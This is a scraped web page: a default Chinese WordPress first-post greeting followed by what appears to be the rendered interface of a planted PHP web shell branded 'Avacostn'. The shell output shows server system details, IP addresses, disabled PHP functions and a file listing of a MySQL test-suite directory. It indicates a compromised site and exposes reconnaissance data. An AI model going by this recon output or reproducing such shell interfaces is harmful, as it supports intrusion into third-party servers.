歡迎使用 WordPress。這是這個網站的第一篇文章,試試為這篇文章進行編輯或直接刪除,然後開始撰寫新文章!
網站第一篇文章
[ Avacostn ] - bankasino.com
System: Linux ip-148-72-247-164.ip.secureserver.net 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Hostname: ip-148-72-247-164.ip.secureserver.net | Server Software: Apache
User ID: 1001 | Group ID: 1001 | Username: www
Server IP: 104.21.12.147 | Port: 443 | Your IP: 172.71.120.89
PHP Version: 7.4.33 | [ PHP INFO ] | Safe Mode: OFF | Domains: ??
Disable Functions: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
DIR~: //www/server/mysql/mysql-test/suite/funcs_1/t
| Type | Name | Size | Permissions | Actions |
|---|---|---|---|---|
| 📄 | charset_collation.test | 3.99 KB | -rw-r--r-- | |
| 📄 | innodb_bitdata.test | 401 B | -rw-r--r-- | |
| 📄 | innodb_cursors.test | 402 B | -rw-r--r-- | |
| 📄 | innodb_func_view.test | 466 B | -rw-r--r-- | |
| 📄 | innodb_storedproc_02.test | 185 B | -rw-r--r-- | |
| 📄 | innodb_storedproc_03.test | 185 B | -rw-r--r-- | |
| 📄 | innodb_storedproc_06.test | 185 B | -rw-r--r-- | |
| 📄 | innodb_storedproc_07.test | 185 B | -rw-r--r-- | |
| 📄 | innodb_storedproc_08.test | 185 B | -rw-r--r-- | |
| 📄 | innodb_storedproc_10.test | 185 B | -rw-r--r-- | |
| 📄 | innodb_trig_0102.test | 210 B | -rw-r--r-- | |
| 📄 | innodb_trig_03.test | 206 B | -rw-r--r-- | |
| 📄 | innodb_trig_03e.test | 694 B | -rw-r--r-- | |
| 📄 | innodb_trig_0407.test | 210 B | -rw-r--r-- | |
| 📄 | innodb_trig_08.test | 206 B | -rw-r--r-- | |
| 📄 | innodb_trig_09.test | 206 B | -rw-r--r-- | |
| 📄 | innodb_trig_1011ext.test | 216 B | -rw-r--r-- | |
| 📄 | innodb_trig_frkey.test | 206 B | -rw-r--r-- | |
| 📄 | innodb_views.test | 553 B | -rw-r--r-- | |
| 📄 | is_basics_mixed.test | 18.55 KB | -rw-r--r-- | |
| 📄 | is_character_sets.test | 4.34 KB | -rw-r--r-- | |
| 📄 | is_cml_innodb.test | 885 B | -rw-r--r-- | |
| 📄 | is_cml_memory.test | 808 B | -rw-r--r-- | |
| 📄 | is_cml_myisam.test | 959 B | -rw-r--r-- | |
| 📄 | is_coll_char_set_appl.test | 4.63 KB | -rw-r--r-- | |
| 📄 | is_collations.test | 4.77 KB | -rw-r--r-- | |
| 📄 | is_column_privileges.test | 13 KB | -rw-r--r-- | |
| 📄 | is_column_privileges_is_mysql_test.test | 2.14 KB | -rw-r--r-- | |
| 📄 | is_columns_ci.test | 132 B | -rw-r--r-- | |
| 📄 | is_columns_cs.test | 17.2 KB | -rw-r--r-- | |
| 📄 | is_columns_innodb.test | 674 B | -rw-r--r-- | |
| 📄 | is_columns_is_ci.test | 134 B | -rw-r--r-- | |
| 📄 | is_columns_is_cs.test | 870 B | -rw-r--r-- | |
| 📄 | is_columns_memory.test | 760 B | -rw-r--r-- | |
| 📄 | is_columns_myisam.test | 798 B | -rw-r--r-- | |
| 📄 | is_columns_mysql.test | 475 B | -rw-r--r-- | |
| 📄 | is_engines.test | 4.48 KB | -rw-r--r-- | |
| 📄 | is_engines_archive.test | 425 B | -rw-r--r-- | |
| 📄 | is_engines_blackhole.test | 433 B | -rw-r--r-- | |
| 📄 | is_engines_csv.test | 411 B | -rw-r--r-- | |
| 📄 | is_engines_federated-master.opt | 12 B | -rw-r--r-- | |
| 📄 | is_engines_federated.test | 452 B | -rw-r--r-- | |
| 📄 | is_engines_innodb.test | 390 B | -rw-r--r-- | |
| 📄 | is_engines_memory.test | 423 B | -rw-r--r-- | |
| 📄 | is_engines_merge.test | 425 B | -rw-r--r-- | |
| 📄 | is_engines_myisam.test | 419 B | -rw-r--r-- | |
| 📄 | is_events.test | 7.59 KB | -rw-r--r-- | |
| 📄 | is_events_ci.test | 128 B | -rw-r--r-- | |
| 📄 | is_extensions.test | 4.05 KB | -rw-r--r-- | |
| 📄 | is_key_column_usage.test | 14.59 KB | -rw-r--r-- | |
| 📄 | is_key_column_usage_ci.test | 137 B | -rw-r--r-- | |
| 📄 | is_routines.test | 18.79 KB | -rw-r--r-- | |
| 📄 | is_routines_ci.test | 130 B | -rw-r--r-- | |
| 📄 | is_schema_privileges.test | 13.39 KB | -rw-r--r-- | |
| 📄 | is_schema_privileges_is_mysql_test.test | 2.15 KB | -rw-r--r-- | |
| 📄 | is_schemata.test | 673 B | -rw-r--r-- | |
| 📄 | is_schemata_ci.test | 129 B | -rw-r--r-- | |
| 📄 | is_schemata_extensions.test | 570 B | -rw-r--r-- | |
| 📄 | is_schemata_extensions_ci.test | 140 B | -rw-r--r-- | |
| 📄 | is_schemata_extensions_is_mysql_test.test | 1.99 KB | -rw-r--r-- | |
| 📄 | is_schemata_is_mysql_test.test | 2.1 KB | -rw-r--r-- | |
| 📄 | is_statistics_ci.test | 134 B | -rw-r--r-- | |
| 📄 | is_statistics_cs.test | 14.28 KB | -rw-r--r-- | |
| 📄 | is_statistics_is.test | 507 B | -rw-r--r-- | |
| 📄 | is_statistics_mysql.test | 543 B | -rw-r--r-- | |
| 📄 | is_table_constraints.test | 12.78 KB | -rw-r--r-- | |
| 📄 | is_table_constraints_ci.test | 138 B | -rw-r--r-- | |
| 📄 | is_table_constraints_is.test | 504 B | -rw-r--r-- | |
| 📄 | is_table_constraints_mysql.test | 502 B | -rw-r--r-- | |
| 📄 | is_table_privileges.test | 14.02 KB | -rw-r--r-- | |
| 📄 | is_tables.test | 964 B | -rw-r--r-- | |
| 📄 | is_tables_ci.test | 127 B | -rw-r--r-- | |
| 📄 | is_tables_innodb.test | 622 B | -rw-r--r-- | |
| 📄 | is_tables_is.test | 757 B | -rw-r--r-- | |
| 📄 | is_tables_memory.test | 708 B | -rw-r--r-- | |
| 📄 | is_tables_myisam.test | 746 B | -rw-r--r-- | |
| 📄 | is_tables_mysql.test | 494 B | -rw-r--r-- | |
| 📄 | is_triggers.test | 741 B | -rw-r--r-- | |
| 📄 | is_triggers_ci.test | 130 B | -rw-r--r-- | |
| 📄 | is_user_privileges.test | 15.21 KB | -rw-r--r-- | |
| 📄 | is_views.test | 696 B | -rw-r--r-- | |
| 📄 | is_views_ci.test | 127 B | -rw-r--r-- | |
| 📄 | memory_bitdata.test | 446 B | -rw-r--r-- | |
| 📄 | memory_cursors.test | 451 B | -rw-r--r-- | |
| 📄 | memory_func_view.test | 552 B | -rw-r--r-- | |
| 📄 | memory_storedproc_02.test | 215 B | -rw-r--r-- | |
| 📄 | memory_storedproc_03.test | 215 B | -rw-r--r-- | |
| 📄 | memory_storedproc_06.test | 215 B | -rw-r--r-- | |
| 📄 | memory_storedproc_07.test | 215 B | -rw-r--r-- | |
| 📄 | memory_storedproc_08.test | 215 B | -rw-r--r-- | |
| 📄 | memory_storedproc_10.test | 215 B | -rw-r--r-- | |
| 📄 | memory_trig_0102.test | 308 B | -rw-r--r-- | |
| 📄 | memory_trig_03.test | 255 B | -rw-r--r-- | |
| 📄 | memory_trig_03e.test | 683 B | -rw-r--r-- | |
| 📄 | memory_trig_0407.test | 308 B | -rw-r--r-- | |
| 📄 | memory_trig_08.test | 255 B | -rw-r--r-- | |
| 📄 | memory_trig_09.test | 255 B | -rw-r--r-- | |
| 📄 | memory_trig_1011ext.test | 314 B | -rw-r--r-- | |
| 📄 | memory_views.test | 605 B | -rw-r--r-- | |
| 📄 | myisam_bitdata.test | 491 B | -rw-r--r-- | |
| 📄 | myisam_cursors.test | 491 B | -rw-r--r-- | |
| 📄 | myisam_func_view.test | 592 B | -rw-r--r-- | |
| 📄 | myisam_storedproc_02.test | 255 B | -rw-r--r-- | |
| 📄 | myisam_storedproc_03.test | 255 B | -rw-r--r-- | |
| 📄 | myisam_storedproc_06.test | 255 B | -rw-r--r-- | |
| 📄 | myisam_storedproc_07.test | 255 B | -rw-r--r-- | |
| 📄 | myisam_storedproc_08.test | 255 B | -rw-r--r-- | |
| 📄 | myisam_storedproc_10.test | 255 B | -rw-r--r-- | |
| 📄 | myisam_trig_0102.test | 299 B | -rw-r--r-- | |
| 📄 | myisam_trig_03.test | 295 B | -rw-r--r-- | |
| 📄 | myisam_trig_03e.test | 723 B | -rw-r--r-- | |
| 📄 | myisam_trig_0407.test | 299 B | -rw-r--r-- | |
| 📄 | myisam_trig_08.test | 295 B | -rw-r--r-- | |
| 📄 | myisam_trig_09.test | 295 B | -rw-r--r-- | |
| 📄 | myisam_trig_1011ext.test | 305 B | -rw-r--r-- | |
| 📄 | myisam_views-big.test | 1.05 KB | -rw-r--r-- | |
| 📄 | processlist_priv_no_prot.test | 1.55 KB | -rw-r--r-- | |
| 📄 | processlist_priv_ps.test | 1.57 KB | -rw-r--r-- | |
| 📄 | processlist_val_no_prot.test | 1.35 KB | -rw-r--r-- | |
| 📄 | processlist_val_ps.test | 1.37 KB | -rw-r--r-- | |
| 📄 | row_count_func-master.opt | 54 B | -rw-r--r-- | |
| 📄 | row_count_func.test | 2.07 KB | -rw-r--r-- | |
| 📄 | storedproc.test | 661.25 KB | -rw-r--r-- | |
| 📄 | suite.opt | 38 B | -rw-r--r-- |
© 2025 ✓ By Avacostn.